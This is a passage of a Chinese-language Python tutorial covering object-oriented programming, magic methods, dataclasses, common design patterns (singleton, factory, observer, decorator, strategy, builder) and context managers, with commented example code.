int2 = partial(int, base=2) # 二进制转十进制
int16 = partial(int, base=16) # 十六进制转十进制
print(int2("1010")) # 10
print(int16("FF")) # 255
# 实际用途:固定 print 的参数
print_error = partial(print, "[ERROR]")
print_warning = partial(print, "[WARNING]")
print_error("文件不存在") # [ERROR] 文件不存在
print_warning("磁盘空间不足") # [WARNING] 磁盘空间不足
*args 收集的是元组,不是列表nonlocal 声明从本章开始,我们进入面向对象编程(OOP)的世界。OOP 是一种编程思想,它让你把数据和操作数据的方法"打包"在一起,形成一个"对象"。就像现实世界中的万物——每个人、每辆车、每只猫都是一个对象,它们有自己的属性(名字、颜色)和行为(说话、移动)。学会 OOP,你就能用代码描述现实世界中的任何事物。
在学习 OOP 之前,我们写的都是"面向过程"的代码——按步骤一步一步执行。面向对象则是一种不同的思维方式:
| 对比 | 面向过程 | 面向对象 |
|---|---|---|
| 思路 | 按步骤执行 | 把事物抽象成对象 |
| 数据和函数 | 分开存放 | 打包在一起 |
| 比喻 | 菜谱(步骤1, 步骤2...) | 食材自己知道怎么烹饪 |
| 适合场景 | 简单脚本 | 大型项目、复杂系统 |
类(Class) = 图纸/模具——定义了对象应该有什么属性和行为。
对象(Object) = 用图纸造出来的产品——每个对象有自己的具体数据。
比如"汽车"是类,你的车、我的车是对象。每辆车颜色不同、里程不同,但都有"启动""刹车"等行为。
用 class 关键字定义类。类就像一个"模板",定义了这类事物应该有什么属性和行为。
# 定义类
class Dog:
# __init__ 是构造方法,创建对象时自动调用
def __init__(self, name, age):
self.name = name # 实例属性:每个狗有自己的名字
self.age = age # 实例属性:每个狗有自己的年龄
# 实例方法:狗的行为
def bark(self):
print(f"{self.name}:汪汪!")
def info(self):
print(f"名字:{self.name},年龄:{self.age}岁")
# 创建对象(实例化)——用图纸造产品
dog1 = Dog("旺财", 3) # 创建第一只狗
dog2 = Dog("小黑", 5) # 创建第二只狗
# 调用方法
dog1.bark() # 旺财:汪汪!
dog2.info() # 名字:小黑,年龄:5岁
# 访问属性
print(dog1.name) # 旺财
print(dog2.age) # 5
__init__ 是 Python 的构造方法(也叫初始化方法),在创建对象时自动调用。它的作用是给新创建的对象设置初始状态。
# 这两行代码是等价的
dog1 = Dog("旺财", 3)
# Python 内部实际执行了:
# 1. 创建一个空的 Dog 对象
# 2. 调用 dog1.__init__("旺财", 3)
# 3. 返回初始化后的对象
self 代表当前对象本身。当你调用 dog1.bark() 时,Python 会自动把 dog1 作为第一个参数传给 bark 方法,这个参数就是 self。
self 就像"我"这个词。当张三说"我饿了","我"指的是张三;当李四说"我饿了","我"指的是李四。同一个词(self/我),在不同的人(对象)嘴里,指代不同。
class Person:
def __init__(self, name, age):
self.name = name # self.name 表示"这个人的名字"
self.age = age
def introduce(self):
# 通过 self 访问自己的属性
print(f"我叫{self.name},今年{self.age}岁")
p1 = Person("张三", 18)
p2 = Person("李四", 20)
p1.introduce() # 我叫张三,今年18岁
p2.introduce() # 我叫李四,今年20岁
# 同一个方法,因为 self 不同,输出也不同
# p1.introduce() 等价于 Person.introduce(p1)
# p2.introduce() 等价于 Person.introduce(p2)
self 不是关键字,只是一个约定俗成的变量名。你可以用其他名字(如 this),但强烈建议用 self,这是 Python 社区的规范。
# 虽然能用其他名字,但不要这么做
class Dog:
def __init__(this, name): # 技术上可以,但不推荐
this.name = name
类属性属于类本身,所有实例共享;实例属性属于某个实例,每个实例独有。
类属性 = 学校的名字——所有学生共享同一个学校名
实例属性 = 学生的名字——每个学生有自己的名字
class Student:
school = "北京大学" # 类属性:所有实例共享
def __init__(self, name):
self.name = name # 实例属性:每个实例独有
s1 = Student("张三")
s2 = Student("李四")
# 类属性共享
print(s1.school) # 北京大学
print(s2.school) # 北京大学
Student.school = "清华大学" # 修改类属性
print(s1.school) # 清华大学(所有实例都变了)
print(s2.school) # 清华大学
# 实例属性独立
s1.score = 95 # 给 s1 添加属性(s2 不受影响)
print(s1.score) # 95
# print(s2.score) # ❌ AttributeError: s2 没有 score 属性
# 查找顺序:先找实例属性,再找类属性
s1.school = "复旦大学" # 给 s1 创建了同名的实例属性
print(s1.school) # 复旦大学(实例属性)
print(s2.school) # 清华大学(类属性)
print(Student.school) # 清华大学(类属性没变)
class MyClass:
class_attr = "我是类属性"
def instance_method(self):
"""实例方法:第一个参数是 self,可以访问实例和类属性"""
print(f"实例方法:{self}")
@classmethod
def class_method(cls):
"""类方法:第一个参数是 cls(类本身),只能访问类属性"""
print(f"类方法:{cls}")
@staticmethod
def static_method():
"""静态方法:没有 self 或 cls,只是一个普通函数放在类里"""
print("静态方法")
# 调用方式
obj = MyClass()
obj.instance_method() # 通过实例调用
MyClass.class_method() # 通过类调用
MyClass.static_method() # 通过类调用
# 组合:把其他类的对象作为自己的属性
class Engine:
def start(self):
print("引擎启动")
class Car:
def __init__(self, brand):
self.brand = brand
self.engine = Engine() # 组合:汽车包含引擎
def start(self):
print(f"{self.brand}汽车")
self.engine.start()
car = Car("特斯拉")
car.start()
# 特斯拉汽车
# 引擎启动
# 组合的好处:Engine 可以独立使用,也可以被其他类复用
engine = Engine()
engine.start() # 引擎启动
Dog.bark() 会报错,必须用 dog1.bark()继承和多态是 OOP 的两大核心概念。继承让你可以在已有类的基础上创建新类,避免重复代码;多态让同一个方法在不同对象上有不同的行为。就像"动物"是一个大类,"狗"和"猫"都继承自"动物",但它们的叫声不同——这就是多态。
继承让子类自动拥有父类的所有属性和方法,还能在此基础上扩展或修改。就像孩子会继承父母的基因,但也有自己独特的个性。
父类(基类) = "动物"——定义了所有动物共有的属性(名字、年龄)和行为(吃、睡)
子类(派生类) = "狗"、"猫"——继承了动物的所有特征,还有自己独特的行为(狗会捡球,猫会抓老鼠)
# 父类(基类)
class Animal:
def __init__(self, name):
self.name = name
def speak(self):
print(f"{self.name}发出声音")
def eat(self):
print(f"{self.name}在吃东西")
# 子类(派生类)继承 Animal
class Dog(Animal):
def fetch(self): # Dog 自己的新方法
print(f"{self.name}去捡球")
class Cat(Animal):
def speak(self): # 重写父类方法
print(f"{self.name}:喵~")
def catch_mouse(self): # Cat 自己的新方法
print(f"{self.name}在抓老鼠")
# Dog 继承了 Animal 的所有方法
dog = Dog("旺财")
dog.speak() # 旺财发出声音(继承自 Animal)
dog.eat() # 旺财在吃东西(继承自 Animal)
dog.fetch() # 旺财去捡球(Dog 自己的方法)
# Cat 重写了 speak 方法
cat = Cat("咪咪")
cat.speak() # 咪咪:喵~(重写了父类方法)
cat.eat() # 咪咪在吃东西(继承自 Animal)
cat.catch_mouse() # 咪咪在抓老鼠(Cat 自己的方法)
当子类需要调用父类的方法(尤其是 __init__)时,使用 super()。这样你不需要显式写出父类的名字,代码更灵活。
class Animal:
def __init__(self, name, sound):
self.name = name
self.sound = sound
class Dog(Animal):
def __init__(self, name, breed):
super().__init__(name, sound="汪汪") # 调用父类的 __init__
self.breed = breed # 子类自己的属性
dog = Dog("旺财", "金毛")
print(dog.name) # 旺财(来自父类)
print(dog.sound) # 汪汪(来自父类)
print(dog.breed) # 金毛(子类自己添加的)
super() 返回的是一个代理对象,它会按照 MRO(方法解析顺序)去找父类的方法。在单继承中,它就是直接父类;在多继承中,它会按照顺序查找。
多态(Polymorphism)是指同一个方法,在不同的对象上有不同的实现。就像"说话"这个动作——狗说"汪汪",猫说"喵",但它们都是在"说话"。
class Shape:
def area(self):
raise NotImplementedError("子类必须实现 area 方法")
class Circle(Shape):
def __init__(self, radius):
self.radius = radius
def area(self):
return 3.14159 * self.radius ** 2
class Rectangle(Shape):
def __init__(self, width, height):
self.width = width
self.height = height
def area(self):
return self.width * self.height
class Triangle(Shape):
def __init__(self, base, height):
self.base = base
self.height = height
def area(self):
return 0.5 * self.base * self.height
# 多态:同一个函数,处理不同类型的对象
def print_area(shape):
print(f"面积是:{shape.area()}")
print_area(Circle(5)) # 面积是:78.53975
print_area(Rectangle(4, 6)) # 面积是:24
print_area(Triangle(3, 8)) # 面积是:12.0
# 不需要知道 shape 具体是什么类型,只要它有 area() 方法就行
Python 的多态是基于"鸭子类型"的:如果一个东西走路像鸭子、叫声像鸭子,那它就是鸭子。不需要它真的继承自"鸭子"类。
# 不需要继承 Shape,只要有 area() 方法就行
class Circle:
def __init__(self, radius):
self.radius = radius
def area(self):
return 3.14159 * self.radius ** 2
# print_area 可以接受任何有 area() 方法的对象
print_area(Circle(5)) # ✅ 即使 Circle 没有继承 Shape
抽象类是一种不能被实例化的类,它的作用是定义"接口规范"——要求子类必须实现某些方法。就像一个"合同模板",规定了子类必须提供哪些功能。
from abc import ABC, abstractmethod
class Animal(ABC): # 抽象类不能实例化
@abstractmethod
def speak(self): # 抽象方法:子类必须实现
pass
@abstractmethod
def move(self):
pass
def sleep(self): # 普通方法:子类可以直接继承
print(f"{self.name}在睡觉")
class Dog(Animal):
def speak(self): # 必须实现抽象方法
print("汪汪!")
def move(self):
print("四条腿跑")
class Bird(Animal):
def speak(self):
print("叽叽!")
def move(self):
print("飞")
# animal = Animal() # ❌ TypeError! 抽象类不能实例化
dog = Dog()
dog.speak() # 汪汪!
dog.move() # 四条腿跑
dog.sleep() # None在睡觉(注意:name 没有设置,实际使用时需要在 __init__ 中设置)
有时候你想在获取或设置属性时加入一些逻辑(比如验证、计算),但又不想改变访问方式。@property 让你把方法伪装成属性——调用时不需要加括号。
@property 就像自动门:你走过去(访问属性),门自动打开(执行 getter 逻辑);你推门(设置属性),门会检查你有没有权限(执行 setter 逻辑)。对你来说,门就是"自动"的,不需要手动操作。
class Student:
def __init__(self, name, score):
self.name = name
self._score = score # _ 开头表示"内部使用"
@property
def score(self):
"""getter:获取分数"""
return self._score
@score.setter
def score(self, value):
"""setter:设置分数(带验证)"""
if not 0 <= value <= 100:
raise ValueError("分数必须在 0-100 之间")
self._score = value
@property
def grade(self):
"""只读属性:根据分数自动计算等级"""
if self._score >= 90: return "A"
if self._score >= 80: return "B"
if self._score >= 60: return "C"
return "D"
s = Student("张三", 85)
print(s.score) # 85(通过 @property 调用 getter)
s.score = 95 # 通过 @score.setter 设置
print(s.grade) # A(只读属性,自动计算)
# s.grade = "B" # ❌ AttributeError(没有 setter,只读)
# s.score = 150 # ❌ ValueError(验证不通过)
用数字或字符串表示状态(如 1=红灯, 2=绿灯)容易出错——谁能记住 1 是什么?枚举让你用有意义的名字代替魔法数字。
from enum import Enum, auto
class Color(Enum):
RED = 1
GREEN = 2
BLUE = 3
class Direction(Enum):
UP = auto() # auto() 自动分配值
DOWN = auto()
LEFT = auto()
RIGHT = auto()
# 使用枚举
color = Color.RED
print(color) # Color.RED
print(color.name) # RED
print(color.value) # 1
# 枚举比较
print(Color.RED == Color.RED) # True
print(Color.RED == Color.BLUE) # False
print(Color.RED is Color.RED) # True
# 遍历枚举
for d in Direction:
print(f"{d.name}: {d.value}")
# UP: 1
# DOWN: 2
# LEFT: 3
# RIGHT: 4
TrafficLight.RED 比 1 清晰得多Color.PURPLE 会报错)魔法方法是 Python 中最"魔法"的特性——它们让你的自定义类能像内置类型一样使用 +、-、len()、print() 等操作。dataclass 则是 Python 3.7 引入的"懒人神器",自动生成大量样板代码。本章还会介绍几种常用的设计模式。
魔法方法是 Python 中以双下划线开头和结尾的特殊方法,它们让自定义类能像内置类型一样使用:
class Vector:
def __init__(self, x, y):
self.x = x
self.y = y
def __str__(self):
"""定义 print() 时的输出"""
return f"Vector({self.x}, {self.y})"
def __repr__(self):
"""定义在解释器中的显示"""
return f"Vector({self.x}, {self.y})"
def __add__(self, other):
"""定义 + 运算"""
return Vector(self.x + other.x, self.y + other.y)
def __sub__(self, other):
"""定义 - 运算"""
return Vector(self.x - other.x, self.y - other.y)
def __mul__(self, scalar):
"""定义 * 运算"""
return Vector(self.x * scalar, self.y * scalar)
def __len__(self):
"""定义 len() 行为"""
return int((self.x**2 + self.y**2)**0.5)
def __eq__(self, other):
"""定义 == 比较"""
return self.x == other.x and self.y == other.y
def __bool__(self):
"""定义布尔值(非零向量为 True)"""
return self.x != 0 or self.y != 0
v1 = Vector(3, 4)
v2 = Vector(1, 2)
print(v1) # Vector(3, 4) ← __str__
print(v1 + v2) # Vector(4, 6) ← __add__
print(v1 - v2) # Vector(2, 2) ← __sub__
print(v1 * 3) # Vector(9, 12) ← __mul__
print(len(v1)) # 5 ← __len__
print(v1 == v2) # False ← __eq__
| 方法 | 触发条件 | 用途 |
|---|---|---|
__init__ | 创建对象时 | 初始化属性 |
__str__ | print(obj) | 用户友好的字符串 |
__repr__ | 在解释器中显示 | 开发者友好的字符串 |
__len__ | len(obj) | 返回长度 |
__getitem__ | obj[key] | 索引访问 |
__setitem__ | obj[key]=val | 索引赋值 |
__contains__ | x in obj | 成员判断 |
__iter__ | for x in obj | 可迭代 |
__call__ | obj() | 使对象可调用 |
__add__ | a + b | 加法 |
__eq__ | a == b | 相等比较 |
__lt__ | a < b | 小于比较 |
__enter__/__exit__ | with obj | 上下文管理器 |
自动生成 __init__、__repr__、__eq__ 等方法,省去大量样板代码:
from dataclasses import dataclass, field
# 普通写法——需要手写很多方法
class StudentOld:
def __init__(self, name, age, scores=None):
self.name = name
self.age = age
self.scores = scores or []
def __repr__(self):
return f"Student(name={self.name!r}, age={self.age})"
def __eq__(self, other):
return self.name == other.name and self.age == other.age
# dataclass 写法——自动搞定
@dataclass
class Student:
name: str
age: int
scores: list = field(default_factory=list)
# 还可以自定义方法
def average(self):
return sum(self.scores) / len(self.scores) if self.scores else 0
s = Student("张三", 18, [90, 85, 95])
print(s) # Student(name='张三', age=18, scores=[90, 85, 95])
print(s.average()) # 90.0
设计模式就像"做菜的菜谱"。你第一次做红烧肉可能手忙脚乱,但如果你知道"先焯水、再炒糖色、最后小火慢炖"这个套路,每次做都能成功。设计模式就是前人总结的"代码套路"——遇到特定问题,用特定的结构去解决。
设计模式不是"越用越好"的银弹。它是在特定场景下解决特定问题的方案。用对了是优雅,用错了是过度设计。本节会讲最常用的几种模式,每种都会告诉你:什么时候用、什么时候不用、不用会怎样。
想象一个公司只有一个 CEO。不管你从哪个部门找 CEO,找到的都是同一个人。单例模式就是确保一个类全局只有一个实例。你不需要知道 CEO 住在哪里(怎么创建的),只要调用 Company.get_ceo() 就能拿到同一个 CEO 对象。
为什么需要单例?有些资源在整个程序中应该只有一份:数据库连接池、日志记录器、配置管理器。如果创建多个实例,会浪费资源甚至导致数据不一致。
假设你有一个 Web 应用,每个请求都需要查数据库。如果每个请求都创建一个新的连接池,数据库很快就会被连接数撑爆。正确的做法是:整个应用只维护一个连接池实例,所有请求共享它。这就是单例模式的典型应用。
# ===== ❌ 不使用单例:每次调用都创建新连接池 =====
def get_users():
pool = DatabasePool() # 创建新连接池(浪费!)
return pool.query("SELECT * FROM users")
def get_orders():
pool = DatabasePool() # 又创建一个!(数据库连接数飙升)
return pool.query("SELECT * FROM orders")
# ===== ✅ 使用单例:全局共享一个连接池 =====
class DatabasePool:
_instance = None
def __new__(cls, db_url="sqlite:///app.db"):
if cls._instance is None:
cls._instance = super().__new__(cls)
cls._instance._init_pool(db_url)
return cls._instance
def _init_pool(self, db_url):
"""初始化连接池(只执行一次)"""
self.db_url = db_url
self.connections = []
print(f"创建连接池:{db_url}")
def query(self, sql):
return f"执行查询:{sql}"
# 无论调用多少次,都是同一个实例
pool1 = DatabasePool()
pool2 = DatabasePool()
print(pool1 is pool2) # True(同一个对象)
print(id(pool1) == id(pool2)) # True(内存地址相同)
__new__ 方法可能被并发调用,需要加锁# 更 Pythonic 的方式:用模块级变量实现单例
# database.py
class _DatabasePool:
def __init__(self):
self.connections = []
def query(self, sql):
return f"执行:{sql}"
# 模块导入时只创建一次,天然就是单例
pool = _DatabasePool()
# main.py
from database import pool # 所有地方导入的都是同一个 pool
pool.query("SELECT 1")
你去餐厅点菜,只需要说"来一份宫保鸡丁",不需要知道厨师是谁、用什么锅、怎么炒。厨房(工厂)会根据你的订单创建对应的菜品。工厂模式就是:你告诉工厂"我要什么",工厂负责"怎么创建"。调用者不需要知道创建的细节。
为什么需要工厂?当你需要根据不同的条件创建不同类型的对象时,如果把创建逻辑写在业务代码里,代码会变成一堆 if-else,而且每新增一种类型就要改业务代码。工厂模式把"创建什么"和"怎么用"分离开。
# ===== ❌ 不使用工厂:一堆 if-else 散落在业务代码中 =====
def create_notification(user, message, channel):
if channel == "email":
notifier = EmailNotifier()
elif channel == "sms":
notifier = SMSNotifier()
elif channel == "wechat":
notifier = WeChatNotifier()
# 每新增一种通知方式,就要改这个函数!
notifier.send(user, message)
# ===== ✅ 使用工厂:创建逻辑集中管理 =====
class Notifier:
"""通知器基类"""
def send(self, user, message):
raise NotImplementedError
class EmailNotifier(Notifier):
def send(self, user, message):
print(f"📧 邮件通知 {user}:{message}")
class SMSNotifier(Notifier):
def send(self, user, message):
print(f"📱 短信通知 {user}:{message}")
class WeChatNotifier(Notifier):
def send(self, user, message):
print(f"💬 微信通知 {user}:{message}")
# 工厂类:集中管理对象创建
class NotifierFactory:
"""通知器工厂"""
_registry = {
"email": EmailNotifier,
"sms": SMSNotifier,
"wechat": WeChatNotifier,
}
@classmethod
def create(cls, channel: str) -> Notifier:
"""根据渠道创建对应的通知器"""
notifier_cls = cls._registry.get(channel)
if notifier_cls is None:
raise ValueError(f"不支持的通知渠道:{channel}")
return notifier_cls()
@classmethod
def register(cls, channel: str, notifier_cls: type):
"""注册新的通知渠道(扩展时不需要修改工厂)"""
cls._registry[channel] = notifier_cls
# 使用:业务代码完全不需要关心创建细节
notifier = NotifierFactory.create("email")
notifier.send("张三", "你的订单已发货")
# 扩展:新增钉钉通知,只需要注册,不需要修改工厂
class DingTalkNotifier(Notifier):
def send(self, user, message):
print(f"🔔 钉钉通知 {user}:{message}")
NotifierFactory.register("dingtalk", DingTalkNotifier)
notifier = NotifierFactory.create("dingtalk")
notifier.send("李四", "会议即将开始")
factory.create("email") 不知道实际创建的是哪个类你在 B 站关注了一个 UP 主。每次他发新视频,你都会收到通知。你不需要每天去他主页检查——你"订阅"了他,他"发布"时会自动"通知"你。观察者模式就是这个"发布-订阅"机制:一个对象(发布者)状态变化时,自动通知所有关注它的对象(订阅者)。
为什么需要观察者?当一个对象的状态变化需要触发多个其他对象的更新时,如果硬编码调用,代码会耦合得很紧。观察者模式让发布者和订阅者互不知道对方是谁,实现解耦。
用户注册后需要做很多事:发欢迎邮件、初始化用户配置、记录日志、发送优惠券。如果把这些逻辑全写在注册函数里,函数会变得又长又难维护。用观察者模式,注册函数只需要"发布"一个 user_registered 事件,各个订阅者各自处理自己的逻辑。
from collections import defaultdict
from typing import Callable, Any
class EventBus:
"""事件总线——观察者模式的实战实现"""
def __init__(self):
# 事件名 → 回调函数列表
self._listeners: dict[str, list[Callable]] = defaultdict(list)
def on(self, event: str, callback: Callable):
"""订阅事件:当 event 发生时,调用 callback"""
self._listeners[event].append(callback)
def off(self, event: str, callback: Callable):
"""取消订阅"""
self._listeners[event].remove(callback)
def emit(self, event: str, *args, **kwargs):
"""发布事件:通知所有订阅者"""
for callback in self._listeners.get(event, []):
callback(*args, **kwargs)
def once(self, event: str, callback: Callable):
"""只订阅一次:触发后自动取消"""
def wrapper(*args, **kwargs):
callback(*args, **kwargs)
self.off(event, wrapper)
self._listeners[event].append(wrapper)
# ===== 实战:用户注册后的事件处理 =====
bus = EventBus()
# 订阅者 1:发欢迎邮件
def send_welcome_email(user):
print(f"📧 向 {user} 发送欢迎邮件")
# 订阅者 2:初始化用户配置
def init_user_config(user):
print(f"⚙️ 初始化 {user} 的默认配置")
# 订阅者 3:记录注册日志
def log_registration(user):
print(f"📝 记录日志:{user} 于今日注册")
# 订阅者 4:发送新人优惠券
def send_coupon(user):
print(f"🎫 向 {user} 发送新人优惠券")
# 注册所有订阅者
bus.on("user_registered", send_welcome_email)
bus.on("user_registered", init_user_config)
bus.on("user_registered", log_registration)
bus.on("user_registered", send_coupon)
# 发布事件:注册函数只需要这一行
def register_user(username):
# ... 保存到数据库的逻辑 ...
print(f"✅ 用户 {username} 注册成功")
bus.emit("user_registered", username)
register_user("张三")
# 输出:
# ✅ 用户 张三 注册成功
# 📧 向 张三 发送欢迎邮件
# ⚙️ 初始化 张三 的默认配置
# 📝 记录日志:张三 于今日注册
# 🎫 向 张三 发送新人优惠券
你买了一件白 T 恤(原始功能)。天冷了,你在外面套一件外套(加了保暖功能);下雨了,你再穿一件雨衣(加了防水功能)。T 恤本身没变,但你通过"叠穿"给它增加了新功能。装饰器模式就是:不修改原代码,通过"包裹"的方式给对象添加新功能。
import time
from functools import wraps
# ===== 装饰器:给函数加"计时"功能 =====
def timer(func):
"""计时装饰器:测量函数执行时间"""
@wraps(func) # 保留原函数的名称和文档
def wrapper(*args, **kwargs):
start = time.time()
result = func(*args, **kwargs) # 调用原函数
elapsed = time.time() - start
print(f"⏱️ {func.__name__} 耗时 {elapsed:.4f} 秒")
return result
return wrapper
# ===== 装饰器:给函数加"重试"功能 =====
def retry(max_attempts=3, delay=1):
"""重试装饰器:失败后自动重试"""
def decorator(func):
@wraps(func)
def wrapper(*args, **kwargs):
for attempt in range(1, max_attempts + 1):
try:
return func(*args, **kwargs)
except Exception as e:
print(f"⚠️ 第 {attempt} 次失败:{e}")
if attempt < max_attempts:
time.sleep(delay)
else:
raise
return wrapper
return decorator
# ===== 使用:给函数"叠穿"多个装饰器 =====
@timer
@retry(max_attempts=3, delay=0.5)
def fetch_data(url):
"""从网络获取数据"""
import random
if random.random() < 0.7: # 70% 概率失败
raise ConnectionError("网络超时")
return f"{url} 的数据"
# 调用时,重试和计时功能自动生效
result = fetch_data("https://api.example.com")
| 模式 | 一句话概括 | 典型场景 | 何时不用 |
|---|---|---|---|
| 单例 | 全局只有一个实例 | 数据库连接池、配置管理、日志器 | 需要多个实例时(如多数据库连接) |
| 工厂 | 根据参数创建不同对象 | 支付方式、通知渠道、文件解析器 | 只有 2-3 种类型且不会扩展 |
| 观察者 | 状态变化时通知订阅者 | 事件系统、GUI 事件、消息推送 | 只有 1-2 个监听者,直接调用更清晰 |
| 装饰器 | 不改原代码,叠加新功能 | 日志、缓存、权限校验、重试 | 功能变化频繁,不如直接改原代码 |
| 策略 | 把算法封装成可互换的类 | 排序算法切换、折扣计算、路由匹配 | 算法只有 1-2 种且固定不变 |
策略模式(Strategy)——算法可互换
from abc import ABC, abstractmethod
# 策略接口
class PaymentStrategy(ABC):
@abstractmethod
def pay(self, amount):
pass
# 具体策略:支付宝
class Alipay(PaymentStrategy):
def pay(self, amount):
print(f"支付宝支付 {amount} 元")
# 具体策略:微信支付
class WechatPay(PaymentStrategy):
def pay(self, amount):
print(f"微信支付 {amount} 元")
# 具体策略:信用卡
class CreditCard(PaymentStrategy):
def __init__(self, card_number):
self.card_number = card_number
def pay(self, amount):
print(f"信用卡 {self.card_number} 支付 {amount} 元")
# 上下文:使用策略的类
class ShoppingCart:
def __init__(self):
self.items = []
def add_item(self, name, price):
self.items.append({"name": name, "price": price})
def checkout(self, payment_method: PaymentStrategy):
total = sum(item["price"] for item in self.items)
payment_method.pay(total)
# 使用:可以随时切换支付方式
cart = ShoppingCart()
cart.add_item("Python教程", 99)
cart.add_item("键盘", 299)
cart.checkout(Alipay()) # 支付宝支付 398 元
cart.checkout(WechatPay()) # 微信支付 398 元
cart.checkout(CreditCard("1234")) # 信用卡 1234 支付 398 元
观察者模式(Observer)——事件通知
from typing import Callable
class EventEmitter:
"""事件发射器(观察者模式)"""
def __init__(self):
self._listeners = {}
def on(self, event: str, callback: Callable):
"""订阅事件"""
if event not in self._listeners:
self._listeners[event] = []
self._listeners[event].append(callback)
def off(self, event: str, callback: Callable):
"""取消订阅"""
if event in self._listeners:
self._listeners[event].remove(callback)
def emit(self, event: str, *args, **kwargs):
"""触发事件"""
if event in self._listeners:
for callback in self._listeners[event]:
callback(*args, **kwargs)
# 使用示例
class OrderSystem:
def __init__(self):
self.events = EventEmitter()
def create_order(self, order_id, amount):
print(f"创建订单 {order_id},金额 {amount}")
# 触发事件
self.events.emit("order_created", order_id, amount)
# 订阅者:发送邮件
def send_email(order_id, amount):
print(f"发送邮件:订单 {order_id} 已创建,金额 {amount}")
# 订阅者:更新库存
def update_stock(order_id, amount):
print(f"更新库存:订单 {order_id} 扣减库存")
# 订阅者:记录日志
def log_order(order_id, amount):
print(f"记录日志:订单 {order_id},金额 {amount}")
# 使用
order_system = OrderSystem()
order_system.events.on("order_created", send_email)
order_system.events.on("order_created", update_stock)
order_system.events.on("order_created", log_order)
order_system.create_order("ORD001", 99.9)
# 输出:
# 创建订单 ORD001,金额 99.9
# 发送邮件:订单 ORD001 已创建,金额 99.9
# 更新库存:订单 ORD001 扣减库存
# 记录日志:订单 ORD001,金额 99.9
工厂模式(Factory)——创建对象
from abc import ABC, abstractmethod
# 产品接口
class Notification(ABC):
@abstractmethod
def send(self, message: str):
pass
# 具体产品:邮件通知
class EmailNotification(Notification):
def __init__(self, email):
self.email = email
def send(self, message: str):
print(f"发送邮件到 {self.email}: {message}")
# 具体产品:短信通知
class SMSNotification(Notification):
def __init__(self, phone):
self.phone = phone
def send(self, message: str):
print(f"发送短信到 {self.phone}: {message}")
# 具体产品:推送通知
class PushNotification(Notification):
def __init__(self, device_id):
self.device_id = device_id
def send(self, message: str):
print(f"推送到设备 {self.device_id}: {message}")
# 工厂类
class NotificationFactory:
"""通知工厂:根据类型创建对应的通知对象"""
@staticmethod
def create(notify_type: str, target: str) -> Notification:
if notify_type == "email":
return EmailNotification(target)
elif notify_type == "sms":
return SMSNotification(target)
elif notify_type == "push":
return PushNotification(target)
else:
raise ValueError(f"未知的通知类型: {notify_type}")
# 使用:客户端不需要知道具体的类,只需要告诉工厂要什么
notification = NotificationFactory.create("email", "user@example.com")
notification.send("您的订单已发货")
notification = NotificationFactory.create("sms", "13800138000")
notification.send("您的验证码是 123456")
# 批量发送
def send_notification(notify_type: str, targets: list, message: str):
for target in targets:
notification = NotificationFactory.create(notify_type, target)
notification.send(message)
send_notification("email", ["a@test.com", "b@test.com"], "系统维护通知")
建造者模式(Builder)——构建复杂对象
class QueryBuilder:
"""SQL 查询构建器(建造者模式)"""
def __init__(self):
self._table = ""
self._conditions = []
self._order_by = ""
self._limit = None
self._fields = "*"
def table(self, name: str):
self._table = name
return self # 返回 self 支持链式调用
def select(self, *fields):
self._fields = ", ".join(fields)
return self
def where(self, condition: str):
self._conditions.append(condition)
return self
def order_by(self, field: str, desc=False):
self._order_by = f"{field} DESC" if desc else field
return self
def limit(self, n: int):
self._limit = n
return self
def build(self) -> str:
query = f"SELECT {self._fields} FROM {self._table}"
if self._conditions:
query += " WHERE " + " AND ".join(self._conditions)
if self._order_by:
query += f" ORDER BY {self._order_by}"
if self._limit:
query += f" LIMIT {self._limit}"
return query
# 使用:链式调用,非常优雅
query = (QueryBuilder()
.table("users")
.select("name", "age", "email")
.where("age > 18")
.where("status = 'active'")
.order_by("age", desc=True)
.limit(10)
.build())
print(query)
# SELECT name, age, email FROM users WHERE age > 18 AND status = 'active' ORDER BY age DESC LIMIT 10
__str__ 给用户看,__repr__ 给开发者看。调试时打印对象,显示的是 __repr__field(default_factory=list),不能直接写 list,否则所有实例共享同一个列表__new__ 可能被并发调用,需要加锁或用模块级变量代替上下文管理器是 Python 中管理资源(文件、数据库连接、锁等)的优雅方式。with 语句确保资源在使用后一定会被释放,不管中间是否发生异常。就像你去图书馆借书——借的时候登记(__enter__),还的时候注销(__exit__),不管你有没有看完。
在编程中,很多资源(文件、数据库连接、网络连接等)用完后必须释放。如果手动管理,很容易忘记关闭,导致资源泄露。with 语句帮你自动管理——进入时获取资源,离开时释放资源。
# 最常见的用法:文件操作
with open("test.txt", "w") as f:
f.write("Hello")
# 离开 with 块后,文件自动关闭(即使发生异常也一样)
# 等价于(但更安全):
f = open("test.txt", "w")
try:
f.write("Hello")
finally:
f.close() # 无论是否发生异常,都会关闭文件
# with 语句的好处:
# 1. 代码更简洁
# 2. 不会忘记关闭资源
# 3. 即使发生异常也能正确释放
只要实现 __enter__ 和 __exit__ 方法,任何类都可以用 with 语句。
import time
class Timer:
"""计时器上下文管理器"""
def __enter__(self):
"""进入 with 块时调用"""
self.start = time.time()
return self # 返回值赋给 as 后面的变量
def __exit__(self, exc_type, exc_val, exc_tb):
"""离开 with 块时调用(即使发生异常)"""
self.elapsed = time.time() - self.start
print(f"耗时:{self.elapsed:.4f} 秒")
return False # 不吞掉异常(True 表示吞掉异常)
# 使用
with Timer():
total = sum(range(1_000_000))
# 耗时:0.0412 秒
# 连接数据库的例子
class DatabaseConnection:
def __init__(self, db_name):
self.db_name = db_name
def __enter__(self):
print(f"连接到 {self.db_name}")
self.connection = f"Connection({self.db_name})"
return self.connection
def __exit__(self, exc_type, exc_val, exc_tb):
print(f"关闭 {self.db_name} 连接")
return False
with DatabaseConnection("mydb") as conn:
print(f"使用 {conn} 执行查询")
# 连接到 mydb
# 使用 Connection(mydb) 执行查询
# 关闭 mydb 连接
def __exit__(self, exc_type, exc_val, exc_tb):
# exc_type: 异常类型(如 ValueError)
# exc_val: 异常值(异常的具体信息)
# exc_tb: 异常的追踪信息(traceback)
# 如果没有异常,三个参数都是 None
# 返回 True → 吞掉异常,不向外抛出
# 返回 False → 不吞掉异常,继续向外抛出
用类写上下文管理器有点繁琐。contextlib 模块提供了 @contextmanager 装饰器,让你用生成器函数来写,更简洁。
from contextlib import contextmanager
import time
# 用生成器写上下文管理器(更简洁)
@contextmanager
def timer():
start = time.time()
yield # yield 之前是 __enter__,之后是 __exit__
elapsed = time.time() - start
print(f"耗时:{elapsed:.4f} 秒")
with timer():
total = sum(range(1_000_000))
# 耗时:0.0412 秒
# suppress:忽略指定异常
from contextlib import suppress
with suppress(FileNotFoundError):
with open("不存在的文件.txt") as f:
content = f.read()
